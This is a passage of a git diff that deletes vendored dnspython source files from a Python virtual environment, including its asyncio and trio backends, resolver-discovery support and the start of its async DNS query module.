class _HTTPTransport(httpx.AsyncHTTPTransport): - def __init__( - self, - *args, - local_port=0, - bootstrap_address=None, - resolver=None, - family=socket.AF_UNSPEC, - **kwargs, - ): - if resolver is None and bootstrap_address is None: - # pylint: disable=import-outside-toplevel,redefined-outer-name - import dns.asyncresolver - - resolver = dns.asyncresolver.Resolver() - super().__init__(*args, **kwargs) - self._pool._network_backend = _NetworkBackend( - resolver, local_port, bootstrap_address, family - ) - -else: - _HTTPTransport = dns._asyncbackend.NullTransport # type: ignore - - -class Backend(dns._asyncbackend.Backend): - def name(self): - return "asyncio" - - async def make_socket( - self, - af, - socktype, - proto=0, - source=None, - destination=None, - timeout=None, - ssl_context=None, - server_hostname=None, - ): - loop = _get_running_loop() - if socktype == socket.SOCK_DGRAM: - if _is_win32 and source is None: - # Win32 wants explicit binding before recvfrom(). This is the - # proper fix for [#637]. - source = (dns.inet.any_for_af(af), 0) - transport, protocol = await loop.create_datagram_endpoint( - _DatagramProtocol, # pyright: ignore - source, - family=af, - proto=proto, - remote_addr=destination, - ) - return DatagramSocket(af, transport, protocol) - elif socktype == socket.SOCK_STREAM: - if destination is None: - # This shouldn't happen, but we check to make code analysis software - # happier. - raise ValueError("destination required for stream sockets") - (r, w) = await _maybe_wait_for( - asyncio.open_connection( - destination[0], - destination[1], - ssl=ssl_context, - family=af, - proto=proto, - local_addr=source, - server_hostname=server_hostname, - ), - timeout, - ) - return StreamSocket(af, r, w) - raise NotImplementedError( - "unsupported socket " + f"type {socktype}" - ) # pragma: no cover - - async def sleep(self, interval): - await asyncio.sleep(interval) - - def datagram_connection_required(self): - return False - - def get_transport_class(self): - return _HTTPTransport - - async def wait_for(self, awaitable, timeout): - return await _maybe_wait_for(awaitable, timeout) diff --git a/venv/Lib/site-packages/dns/_ddr.py b/venv/Lib/site-packages/dns/_ddr.py deleted file mode 100644 index bf5c11eb6d98168766c5df3b2201e298388fa49e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/_ddr.py +++ /dev/null @@ -1,154 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license -# -# Support for Discovery of Designated Resolvers - -import socket -import time -from urllib.parse import urlparse - -import dns.asyncbackend -import dns.inet -import dns.name -import dns.nameserver -import dns.query -import dns.rdtypes.svcbbase - -# The special name of the local resolver when using DDR -_local_resolver_name = dns.name.from_text("_dns.resolver.arpa") - - -# -# Processing is split up into I/O independent and I/O dependent parts to -# make supporting sync and async versions easy. -# - - -class _SVCBInfo: - def __init__(self, bootstrap_address, port, hostname, nameservers): - self.bootstrap_address = bootstrap_address - self.port = port - self.hostname = hostname - self.nameservers = nameservers - - def ddr_check_certificate(self, cert): - """Verify that the _SVCBInfo's address is in the cert's subjectAltName (SAN)""" - for name, value in cert["subjectAltName"]: - if name == "IP Address" and value == self.bootstrap_address: - return True - return False - - def make_tls_context(self): - ssl = dns.query.ssl - ctx = ssl.create_default_context() - ctx.minimum_version = ssl.TLSVersion.TLSv1_2 - return ctx - - def ddr_tls_check_sync(self, lifetime): - ctx = self.make_tls_context() - expiration = time.time() + lifetime - with socket.create_connection( - (self.bootstrap_address, self.port), lifetime - ) as s: - with ctx.wrap_socket(s, server_hostname=self.hostname) as ts: - ts.settimeout(dns.query._remaining(expiration)) - ts.do_handshake() - cert = ts.getpeercert() - return self.ddr_check_certificate(cert) - - async def ddr_tls_check_async(self, lifetime, backend=None): - if backend is None: - backend = dns.asyncbackend.get_default_backend() - ctx = self.make_tls_context() - expiration = time.time() + lifetime - async with await backend.make_socket( - dns.inet.af_for_address(self.bootstrap_address), - socket.SOCK_STREAM, - 0, - None, - (self.bootstrap_address, self.port), - lifetime, - ctx, - self.hostname, - ) as ts: - cert = await ts.getpeercert(dns.query._remaining(expiration)) - return self.ddr_check_certificate(cert) - - -def _extract_nameservers_from_svcb(answer): - bootstrap_address = answer.nameserver - if not dns.inet.is_address(bootstrap_address): - return [] - infos = [] - for rr in answer.rrset.processing_order(): - nameservers = [] - param = rr.params.get(dns.rdtypes.svcbbase.ParamKey.ALPN) - if param is None: - continue - alpns = set(param.ids) - host = rr.target.to_text(omit_final_dot=True) - port = None - param = rr.params.get(dns.rdtypes.svcbbase.ParamKey.PORT) - if param is not None: - port = param.port - # For now we ignore address hints and address resolution and always use the - # bootstrap address - if b"h2" in alpns: - param = rr.params.get(dns.rdtypes.svcbbase.ParamKey.DOHPATH) - if param is None or not param.value.endswith(b"{?dns}"): - continue - path = param.value[:-6].decode() - if not path.startswith("/"): - path = "/" + path - if port is None: - port = 443 - url = f"https://{host}:{port}{path}" - # check the URL - try: - urlparse(url) - nameservers.append(dns.nameserver.DoHNameserver(url, bootstrap_address)) - except Exception: - # continue processing other ALPN types - pass - if b"dot" in alpns: - if port is None: - port = 853 - nameservers.append( - dns.nameserver.DoTNameserver(bootstrap_address, port, host) - ) - if b"doq" in alpns: - if port is None: - port = 853 - nameservers.append( - dns.nameserver.DoQNameserver(bootstrap_address, port, True, host) - ) - if len(nameservers) > 0: - infos.append(_SVCBInfo(bootstrap_address, port, host, nameservers)) - return infos - - -def _get_nameservers_sync(answer, lifetime): - """Return a list of TLS-validated resolver nameservers extracted from an SVCB - answer.""" - nameservers = [] - infos = _extract_nameservers_from_svcb(answer) - for info in infos: - try: - if info.ddr_tls_check_sync(lifetime): - nameservers.extend(info.nameservers) - except Exception: - pass - return nameservers - - -async def _get_nameservers_async(answer, lifetime): - """Return a list of TLS-validated resolver nameservers extracted from an SVCB - answer.""" - nameservers = [] - infos = _extract_nameservers_from_svcb(answer) - for info in infos: - try: - if await info.ddr_tls_check_async(lifetime): - nameservers.extend(info.nameservers) - except Exception: - pass - return nameservers diff --git a/venv/Lib/site-packages/dns/_features.py b/venv/Lib/site-packages/dns/_features.py deleted file mode 100644 index 65a9a2a35a23395b6fbb34a2e47ee9405280019c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/_features.py +++ /dev/null @@ -1,95 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import importlib.metadata -import itertools -import string -from typing import Dict, List, Tuple - - -def _tuple_from_text(version: str) -> Tuple: - text_parts = version.split(".") - int_parts = [] - for text_part in text_parts: - digit_prefix = "".join( - itertools.takewhile(lambda x: x in string.digits, text_part) - ) - try: - int_parts.append(int(digit_prefix)) - except Exception: - break - return tuple(int_parts) - - -def _version_check( - requirement: str, -) -> bool: - """Is the requirement fulfilled? - - The requirement must be of the form - - package>=version - """ - package, minimum = requirement.split(">=") - try: - version = importlib.metadata.version(package) - # This shouldn't happen, but it apparently can. - if version is None: - return False - except Exception: - return False - t_version = _tuple_from_text(version) - t_minimum = _tuple_from_text(minimum) - if t_version < t_minimum: - return False - return True - - -_cache: Dict[str, bool] = {} - - -def have(feature: str) -> bool: - """Is *feature* available? - - This tests if all optional packages needed for the - feature are available and recent enough. - - Returns ``True`` if the feature is available, - and ``False`` if it is not or if metadata is - missing. - """ - value = _cache.get(feature) - if value is not None: - return value - requirements = _requirements.get(feature) - if requirements is None: - # we make a cache entry here for consistency not performance - _cache[feature] = False - return False - ok = True - for requirement in requirements: - if not _version_check(requirement): - ok = False - break - _cache[feature] = ok - return ok - - -def force(feature: str, enabled: bool) -> None: - """Force the status of *feature* to be *enabled*. - - This method is provided as a workaround for any cases - where importlib.metadata is ineffective, or for testing. - """ - _cache[feature] = enabled - - -_requirements: Dict[str, List[str]] = { - ### BEGIN generated requirements - "dnssec": ["cryptography>=45"], - "doh": ["httpcore>=1.0.0", "httpx>=0.28.0", "h2>=4.2.0"], - "doq": ["aioquic>=1.2.0"], - "idna": ["idna>=3.10"], - "trio": ["trio>=0.30"], - "wmi": ["wmi>=1.5.1"], - ### END generated requirements -} diff --git a/venv/Lib/site-packages/dns/_immutable_ctx.py b/venv/Lib/site-packages/dns/_immutable_ctx.py deleted file mode 100644 index b3d72deef2a60f0ffcfd66688388816a08893558..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/_immutable_ctx.py +++ /dev/null @@ -1,76 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# This implementation of the immutable decorator requires python >= -# 3.7, and is significantly more storage efficient when making classes -# with slots immutable. It's also faster. - -import contextvars -import inspect - -_in__init__ = contextvars.ContextVar("_immutable_in__init__", default=False) - - -class _Immutable: - """Immutable mixin class""" - - # We set slots to the empty list to say "we don't have any attributes". - # We do this so that if we're mixed in with a class with __slots__, we - # don't cause a __dict__ to be added which would waste space. - - __slots__ = () - - def __setattr__(self, name, value): - if _in__init__.get() is not self: - raise TypeError("object doesn't support attribute assignment") - else: - super().__setattr__(name, value) - - def __delattr__(self, name): - if _in__init__.get() is not self: - raise TypeError("object doesn't support attribute assignment") - else: - super().__delattr__(name) - - -def _immutable_init(f): - def nf(*args, **kwargs): - previous = _in__init__.set(args[0]) - try: - # call the actual __init__ - f(*args, **kwargs) - finally: - _in__init__.reset(previous) - - nf.__signature__ = inspect.signature(f) # pyright: ignore - return nf - - -def immutable(cls): - if _Immutable in cls.__mro__: - # Some ancestor already has the mixin, so just make sure we keep - # following the __init__ protocol. - cls.__init__ = _immutable_init(cls.__init__) - if hasattr(cls, "__setstate__"): - cls.__setstate__ = _immutable_init(cls.__setstate__) - ncls = cls - else: - # Mixin the Immutable class and follow the __init__ protocol. - class ncls(_Immutable, cls): - # We have to do the __slots__ declaration here too! - __slots__ = () - - @_immutable_init - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - if hasattr(cls, "__setstate__"): - - @_immutable_init - def __setstate__(self, *args, **kwargs): - super().__setstate__(*args, **kwargs) - - # make ncls have the same name and module as cls - ncls.__name__ = cls.__name__ - ncls.__qualname__ = cls.__qualname__ - ncls.__module__ = cls.__module__ - return ncls diff --git a/venv/Lib/site-packages/dns/_no_ssl.py b/venv/Lib/site-packages/dns/_no_ssl.py deleted file mode 100644 index edb452de1067441216afcc2b772eb0d5edc69485..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/_no_ssl.py +++ /dev/null @@ -1,61 +0,0 @@ -import enum -from typing import Any - -CERT_NONE = 0 - - -class TLSVersion(enum.IntEnum): - TLSv1_2 = 12 - - -class WantReadException(Exception): - pass - - -class WantWriteException(Exception): - pass - - -class SSLWantReadError(Exception): - pass - - -class SSLWantWriteError(Exception): - pass - - -class SSLContext: - def __init__(self) -> None: - self.minimum_version: Any = TLSVersion.TLSv1_2 - self.check_hostname: bool = False - self.verify_mode: int = CERT_NONE - - def wrap_socket(self, *args, **kwargs) -> "SSLSocket": # type: ignore - raise Exception("no ssl support") # pylint: disable=broad-exception-raised - - def set_alpn_protocols(self, *args, **kwargs): # type: ignore - raise Exception("no ssl support") # pylint: disable=broad-exception-raised - - -class SSLSocket: - def pending(self) -> bool: - raise Exception("no ssl support") # pylint: disable=broad-exception-raised - - def do_handshake(self) -> None: - raise Exception("no ssl support") # pylint: disable=broad-exception-raised - - def settimeout(self, value: Any) -> None: - pass - - def getpeercert(self) -> Any: - raise Exception("no ssl support") # pylint: disable=broad-exception-raised - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - return False - - -def create_default_context(*args, **kwargs) -> SSLContext: # type: ignore - raise Exception("no ssl support") # pylint: disable=broad-exception-raised diff --git a/venv/Lib/site-packages/dns/_tls_util.py b/venv/Lib/site-packages/dns/_tls_util.py deleted file mode 100644 index 10ddf727921bfa1b0dad9cfd810d0e9b54690522..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/_tls_util.py +++ /dev/null @@ -1,19 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import os -from typing import Tuple - - -def convert_verify_to_cafile_and_capath( - verify: bool | str, -) -> Tuple[str | None, str | None]: - cafile: str | None = None - capath: str | None = None - if isinstance(verify, str): - if os.path.isfile(verify): - cafile = verify - elif os.path.isdir(verify): - capath = verify - else: - raise ValueError("invalid verify string") - return cafile, capath diff --git a/venv/Lib/site-packages/dns/_trio_backend.py b/venv/Lib/site-packages/dns/_trio_backend.py deleted file mode 100644 index bde7e8bab226942aa23681824579eef29d8bb069..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/_trio_backend.py +++ /dev/null @@ -1,255 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -"""trio async I/O library query support""" - -import socket - -import trio -import trio.socket # type: ignore - -import dns._asyncbackend -import dns._features -import dns.exception -import dns.inet - -if not dns._features.have("trio"): - raise ImportError("trio not found or too old") - - -def _maybe_timeout(timeout): - if timeout is not None: - return trio.move_on_after(timeout) - else: - return dns._asyncbackend.NullContext() - - -# for brevity -_lltuple = dns.inet.low_level_address_tuple - -# pylint: disable=redefined-outer-name - - -class DatagramSocket(dns._asyncbackend.DatagramSocket): - def __init__(self, sock): - super().__init__(sock.family, socket.SOCK_DGRAM) - self.socket = sock - - async def sendto(self, what, destination, timeout): - with _maybe_timeout(timeout): - if destination is None: - return await self.socket.send(what) - else: - return await self.socket.sendto(what, destination) - raise dns.exception.Timeout( - timeout=timeout - ) # pragma: no cover lgtm[py/unreachable-statement] - - async def recvfrom(self, size, timeout): - with _maybe_timeout(timeout): - return await self.socket.recvfrom(size) - raise dns.exception.Timeout(timeout=timeout) # lgtm[py/unreachable-statement] - - async def close(self): - self.socket.close() - - async def getpeername(self): - return self.socket.getpeername() - - async def getsockname(self): - return self.socket.getsockname() - - async def getpeercert(self, timeout): - raise NotImplementedError - - -class StreamSocket(dns._asyncbackend.StreamSocket): - def __init__(self, family, stream, tls=False): - super().__init__(family, socket.SOCK_STREAM) - self.stream = stream - self.tls = tls - - async def sendall(self, what, timeout): - with _maybe_timeout(timeout): - return await self.stream.send_all(what) - raise dns.exception.Timeout(timeout=timeout) # lgtm[py/unreachable-statement] - - async def recv(self, size, timeout): - with _maybe_timeout(timeout): - return await self.stream.receive_some(size) - raise dns.exception.Timeout(timeout=timeout) # lgtm[py/unreachable-statement] - - async def close(self): - await self.stream.aclose() - - async def getpeername(self): - if self.tls: - return self.stream.transport_stream.socket.getpeername() - else: - return self.stream.socket.getpeername() - - async def getsockname(self): - if self.tls: - return self.stream.transport_stream.socket.getsockname() - else: - return self.stream.socket.getsockname() - - async def getpeercert(self, timeout): - if self.tls: - with _maybe_timeout(timeout): - await self.stream.do_handshake() - return self.stream.getpeercert() - else: - raise NotImplementedError - - -if dns._features.have("doh"): - import httpcore - import httpcore._backends.trio - import httpx - - _CoreAsyncNetworkBackend = httpcore.AsyncNetworkBackend - _CoreTrioStream = httpcore._backends.trio.TrioStream - - from dns.query import _compute_times, _expiration_for_this_attempt, _remaining - - class _NetworkBackend(_CoreAsyncNetworkBackend): - def __init__(self, resolver, local_port, bootstrap_address, family): - super().__init__() - self._local_port = local_port - self._resolver = resolver - self._bootstrap_address = bootstrap_address - self._family = family - - async def connect_tcp( - self, host, port, timeout=None, local_address=None, socket_options=None - ): # pylint: disable=signature-differs - addresses = [] - _, expiration = _compute_times(timeout) - if dns.inet.is_address(host): - addresses.append(host) - elif self._bootstrap_address is not None: - addresses.append(self._bootstrap_address) - else: - timeout = _remaining(expiration) - family = self._family - if local_address: - family = dns.inet.af_for_address(local_address) - answers = await self._resolver.resolve_name( - host, family=family, lifetime=timeout - ) - addresses = answers.addresses() - for address in addresses: - try: - af = dns.inet.af_for_address(address) - if local_address is not None or self._local_port != 0: - source = (local_address, self._local_port) - else: - source = None - destination = (address, port) - attempt_expiration = _expiration_for_this_attempt(2.0, expiration) - timeout = _remaining(attempt_expiration) - sock = await Backend().make_socket( - af, socket.SOCK_STREAM, 0, source, destination, timeout - ) - assert isinstance(sock, StreamSocket) - return _CoreTrioStream(sock.stream) - except Exception: - continue - raise httpcore.ConnectError - - async def connect_unix_socket( - self, path, timeout=None, socket_options=None - ): # pylint: disable=signature-differs - raise NotImplementedError - - async def sleep(self, seconds): # pylint: disable=signature-differs - await trio.sleep(seconds) - - class _HTTPTransport(httpx.AsyncHTTPTransport): - def __init__( - self, - *args, - local_port=0, - bootstrap_address=None, - resolver=None, - family=socket.AF_UNSPEC, - **kwargs, - ): - if resolver is None and bootstrap_address is None: - # pylint: disable=import-outside-toplevel,redefined-outer-name - import dns.asyncresolver - - resolver = dns.asyncresolver.Resolver() - super().__init__(*args, **kwargs) - self._pool._network_backend = _NetworkBackend( - resolver, local_port, bootstrap_address, family - ) - -else: - _HTTPTransport = dns._asyncbackend.NullTransport # type: ignore - - -class Backend(dns._asyncbackend.Backend): - def name(self): - return "trio" - - async def make_socket( - self, - af, - socktype, - proto=0, - source=None, - destination=None, - timeout=None, - ssl_context=None, - server_hostname=None, - ): - s = trio.socket.socket(af, socktype, proto) - stream = None - try: - if source: - await s.bind(_lltuple(source, af)) - if socktype == socket.SOCK_STREAM or destination is not None: - connected = False - with _maybe_timeout(timeout): - assert destination is not None - await s.connect(_lltuple(destination, af)) - connected = True - if not connected: - raise dns.exception.Timeout( - timeout=timeout - ) # lgtm[py/unreachable-statement] - except Exception: # pragma: no cover - s.close() - raise - if socktype == socket.SOCK_DGRAM: - return DatagramSocket(s) - elif socktype == socket.SOCK_STREAM: - stream = trio.SocketStream(s) - tls = False - if ssl_context: - tls = True - try: - stream = trio.SSLStream( - stream, ssl_context, server_hostname=server_hostname - ) - except Exception: # pragma: no cover - await stream.aclose() - raise - return StreamSocket(af, stream, tls) - raise NotImplementedError( - "unsupported socket " + f"type {socktype}" - ) # pragma: no cover - - async def sleep(self, interval): - await trio.sleep(interval) - - def get_transport_class(self): - return _HTTPTransport - - async def wait_for(self, awaitable, timeout): - with _maybe_timeout(timeout): - return await awaitable - raise dns.exception.Timeout( - timeout=timeout - ) # pragma: no cover lgtm[py/unreachable-statement] diff --git a/venv/Lib/site-packages/dns/asyncbackend.py b/venv/Lib/site-packages/dns/asyncbackend.py deleted file mode 100644 index 0ec58b062a149500ce89783cfc812a5b46e5f263..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/asyncbackend.py +++ /dev/null @@ -1,101 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -from typing import Dict - -import dns.exception - -# pylint: disable=unused-import -from dns._asyncbackend import ( # noqa: F401 lgtm[py/unused-import] - Backend, - DatagramSocket, - Socket, - StreamSocket, -) - -# pylint: enable=unused-import - -_default_backend = None - -_backends: Dict[str, Backend] = {} - -# Allow sniffio import to be disabled for testing purposes -_no_sniffio = False - - -class AsyncLibraryNotFoundError(dns.exception.DNSException): - pass - - -def get_backend(name: str) -> Backend: - """Get the specified asynchronous backend. - - *name*, a ``str``, the name of the backend. Currently the "trio" - and "asyncio" backends are available. - - Raises NotImplementedError if an unknown backend name is specified. - """ - # pylint: disable=import-outside-toplevel,redefined-outer-name - backend = _backends.get(name) - if backend: - return backend - if name == "trio": - import dns._trio_backend - - backend = dns._trio_backend.Backend() - elif name == "asyncio": - import dns._asyncio_backend - - backend = dns._asyncio_backend.Backend() - else: - raise NotImplementedError(f"unimplemented async backend {name}") - _backends[name] = backend - return backend - - -def sniff() -> str: - """Attempt to determine the in-use asynchronous I/O library by using - the ``sniffio`` module if it is available. - - Returns the name of the library, or raises AsyncLibraryNotFoundError - if the library cannot be determined. - """ - # pylint: disable=import-outside-toplevel - try: - if _no_sniffio: - raise ImportError - import sniffio - - try: - return sniffio.current_async_library() - except sniffio.AsyncLibraryNotFoundError: - raise AsyncLibraryNotFoundError("sniffio cannot determine async library") - except ImportError: - import asyncio - - try: - asyncio.get_running_loop() - return "asyncio" - except RuntimeError: - raise AsyncLibraryNotFoundError("no async library detected") - - -def get_default_backend() -> Backend: - """Get the default backend, initializing it if necessary.""" - if _default_backend: - return _default_backend - - return set_default_backend(sniff()) - - -def set_default_backend(name: str) -> Backend: - """Set the default backend. - - It's not normally necessary to call this method, as - ``get_default_backend()`` will initialize the backend - appropriately in many cases. If ``sniffio`` is not installed, or - in testing situations, this function allows the backend to be set - explicitly. - """ - global _default_backend - _default_backend = get_backend(name) - return _default_backend diff --git a/venv/Lib/site-packages/dns/asyncquery.py b/venv/Lib/site-packages/dns/asyncquery.py deleted file mode 100644 index bb7704582ad277d502cd1f042107e8ce35ec0439..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/asyncquery.py +++ /dev/null @@ -1,953 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Talk to a DNS server.""" - -import base64 -import contextlib -import random -import socket -import struct -import time -import urllib.parse -from typing import Any, Dict, Optional, Tuple, cast - -import dns.asyncbackend -import dns.exception -import dns.inet -import dns.message -import dns.name -import dns.quic -import dns.rdatatype -import dns.transaction -import dns.tsig -import dns.xfr -from dns._asyncbackend import NullContext -from dns.query import ( - BadResponse, - HTTPVersion, - NoDOH, - NoDOQ, - UDPMode, - _check_status, - _compute_times, - _matches_destination, - _remaining, - have_doh, - make_ssl_context, -) - -try: - import ssl -except ImportError: - import dns._no_ssl as ssl # type: ignore - -if have_doh: - import httpx - -# for brevity -_lltuple = dns.inet.low_level_address_tuple - - -def _source_tuple(af, address, port): - # Make a high level source tuple, or return None if address and port - # are both None - if address or port: - if address is None: - if af == socket.AF_INET: - address = "0.0.0.0" - elif af == socket.AF_INET6: - address = "::" - else: - raise NotImplementedError(f"unknown address family {af}") - return (address, port) - else: - return None - - -def _timeout(expiration, now=None): - if expiration is not None: - if not now: - now = time.time() - return max(expiration - now, 0) - else: - return None - - -async def send_udp( - sock: dns.asyncbackend.DatagramSocket, - what: dns.message.Message | bytes, - destination: Any, - expiration: float | None = None, -) -> Tuple[int, float]: - """Send a DNS message to the specified UDP socket. - - *sock*, a ``dns.asyncbackend.DatagramSocket``. - - *what*, a ``bytes`` or ``dns.message.Message``, the message to send. - - *destination*, a destination tuple appropriate for the address family - of the socket, specifying where to send the query. - - *expiration*, a ``float`` or ``None``, the absolute time at which - a timeout exception should be raised. If ``None``, no timeout will - occur. The expiration value is meaningless for the asyncio backend, as - asyncio's transport sendto() never blocks. - - Returns an ``(int, float)`` tuple of bytes sent and the sent time. - """ - - if isinstance(what, dns.message.Message): - what = what.to_wire() - sent_time = time.time() - n = await sock.sendto(what, destination, _timeout(expiration, sent_time)) - return (n, sent_time) - - -async def receive_udp( - sock: dns.asyncbackend.DatagramSocket, - destination: Any | None = None, - expiration: float | None = None, - ignore_unexpected: bool = False, - one_rr_per_rrset: bool = False, - keyring: Dict[dns.name.Name, dns.tsig.Key] | None = None, - request_mac: bytes | None = b"", - ignore_trailing: bool = False, - raise_on_truncation: bool = False, - ignore_errors: bool = False, - query: dns.message.Message | None = None, -) -> Any: - """Read a DNS message from a UDP socket. - - *sock*, a ``dns.asyncbackend.DatagramSocket``. - - See :py:func:`dns.query.receive_udp()` for the documentation of the other - parameters, and exceptions. - - Returns a ``(dns.message.Message, float, tuple)`` tuple of the received message, the - received time, and the address where the message arrived from. - """ - - wire = b"" - while True: - (wire, from_address) = await sock.recvfrom(65535, _timeout(expiration)) - if not _matches_destination( - sock.family, from_address, destination, ignore_unexpected - ): - continue - received_time = time.time() - try: - r = dns.message.from_wire( - wire, - keyring=keyring, - request_mac=request_mac, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - raise_on_truncation=raise_on_truncation, - ) - except dns.message.Truncated as e: - # See the comment in query.py for details. - if ( - ignore_errors - and query is not None - and not query.is_response(e.message()) - ): - continue - else: - raise - except Exception: - if ignore_errors: - continue - else: - raise - if ignore_errors and query is not None and not query.is_response(r): - continue - return (r, received_time, from_address) - - -async def udp( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 53, - source: str | None = None, - source_port: int = 0, - ignore_unexpected: bool = False, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - raise_on_truncation: bool = False, - sock: dns.asyncbackend.DatagramSocket | None = None, - backend: dns.asyncbackend.Backend | None = None, - ignore_errors: bool = False, -) -> dns.message.Message: - """Return the response obtained after sending a query via UDP. - - *sock*, a ``dns.asyncbackend.DatagramSocket``, or ``None``, - the socket to use for the query. If ``None``, the default, a - socket is created. Note that if a socket is provided, the - *source*, *source_port*, and *backend* are ignored. - - *backend*, a ``dns.asyncbackend.Backend``, or ``None``. If ``None``, - the default, then dnspython will use the default backend. - - See :py:func:`dns.query.udp()` for the documentation of the other - parameters, exceptions, and return type of this method. - """ - wire = q.to_wire() - (begin_time, expiration) = _compute_times(timeout) - af = dns.inet.af_for_address(where) - destination = _lltuple((where, port), af) - if sock: - cm: contextlib.AbstractAsyncContextManager = NullContext(sock) - else: - if not backend: - backend = dns.asyncbackend.get_default_backend() - stuple = _source_tuple(af, source, source_port) - if backend.datagram_connection_required(): - dtuple = (where, port) - else: - dtuple = None - cm = await backend.make_socket(af, socket.SOCK_DGRAM, 0, stuple, dtuple) - async with cm as s: - await send_udp(s, wire, destination, expiration) # pyright: ignore - (r, received_time, _) = await receive_udp( - s, # pyright: ignore - destination, - expiration, - ignore_unexpected, - one_rr_per_rrset, - q.keyring, - q.mac, - ignore_trailing, - raise_on_truncation, - ignore_errors, - q, - ) - r.time = received_time - begin_time - # We don't need to check q.is_response() if we are in ignore_errors mode - # as receive_udp() will have checked it. - if not (ignore_errors or q.is_response(r)): - raise BadResponse - return r - - -async def udp_with_fallback( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 53, - source: str | None = None, - source_port: int = 0, - ignore_unexpected: bool = False, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - udp_sock: dns.asyncbackend.DatagramSocket | None = None, - tcp_sock: dns.asyncbackend.StreamSocket | None = None, - backend: dns.asyncbackend.Backend | None = None, - ignore_errors: bool = False, -) -> Tuple[dns.message.Message, bool]: - """Return the response to the query, trying UDP first and falling back - to TCP if UDP results in a truncated response. - - *udp_sock*, a ``dns.asyncbackend.DatagramSocket``, or ``None``, - the socket to use for the UDP query. If ``None``, the default, a - socket is created. Note that if a socket is provided the *source*, - *source_port*, and *backend* are ignored for the UDP query. - - *tcp_sock*, a ``dns.asyncbackend.StreamSocket``, or ``None``, the - socket to use for the TCP query. If ``None``, the default, a - socket is created. Note that if a socket is provided *where*, - *source*, *source_port*, and *backend* are ignored for the TCP query. - - *backend*, a ``dns.asyncbackend.Backend``, or ``None``. If ``None``, - the default, then dnspython will use the default backend. - - See :py:func:`dns.query.udp_with_fallback()` for the documentation - of the other parameters, exceptions, and return type of this - method. - """ - try: - response = await udp( - q, - where, - timeout, - port, - source, - source_port, - ignore_unexpected, - one_rr_per_rrset, - ignore_trailing, - True, - udp_sock, - backend, - ignore_errors, - ) - return (response, False) - except dns.message.Truncated: - response = await tcp( - q, - where, - timeout, - port, - source, - source_port, - one_rr_per_rrset, - ignore_trailing, - tcp_sock, - backend, - ) - return (response, True) - - -async def send_tcp( - sock: dns.asyncbackend.StreamSocket, - what: dns.message.Message | bytes, - expiration: float | None = None, -) -> Tuple[int, float]: - """Send a DNS message to the specified TCP socket. - - *sock*, a ``dns.asyncbackend.StreamSocket``. - - See :py:func:`dns.query.send_tcp()` for the documentation of the other - parameters, exceptions, and return type of this method. - """ - - if isinstance(what, dns.message.Message): - tcpmsg = what.to_wire(prepend_length=True) - else: - # copying the wire into tcpmsg is inefficient, but lets us - # avoid writev() or doing a short write that would get pushed - # onto the net - tcpmsg = len(what).to_bytes(2, "big") + what - sent_time = time.time() - await sock.sendall(tcpmsg, _timeout(expiration, sent_time)) - return (len(tcpmsg), sent_time) - - -async def _read_exactly(sock, count, expiration): - """Read the specified number of bytes from stream. Keep trying until we - either get the desired amount, or we hit EOF. - """ - s = b"" - while count > 0: - n = await sock.recv(count, _timeout(expiration)) - if n == b"": - raise EOFError("EOF") - count = count - len(n) - s = s + n - return s - - -async def receive_tcp( - sock: dns.asyncbackend.StreamSocket, - expiration: float | None = None, - one_rr_per_rrset: bool = False, - keyring: Dict[dns.name.Name, dns.tsig.Key] | None = None, - request_mac: bytes | None = b"", - ignore_trailing: bool = False, -) -> Tuple[dns.message.Message, float]: - """Read a DNS message from a TCP socket. - - *sock*, a ``dns.asyncbackend.StreamSocket``. - - See :py:func:`dns.query.receive_tcp()` for the documentation of the other - parameters, exceptions, and return type of this method. - """ - - ldata = await _read_exactly(sock, 2, expiration) - (l,) = struct.unpack("!H", ldata) - wire = await _read_exactly(sock, l, expiration) - received_time = time.time() - r = dns.message.from_wire( - wire, - keyring=keyring, - request_mac=request_mac, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ) - return (r, received_time) - - -async def tcp( - q: dns.message.Message, - where: str, - timeout: float | None = None, - port: int = 53, - source: str | None = None, - source_port: int = 0, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - sock: dns.asyncbackend.StreamSocket | None = None, - backend: dns.asyncbackend.Backend | None = None, -) -> dns.message.Message: - """Return the response obtained after sending a 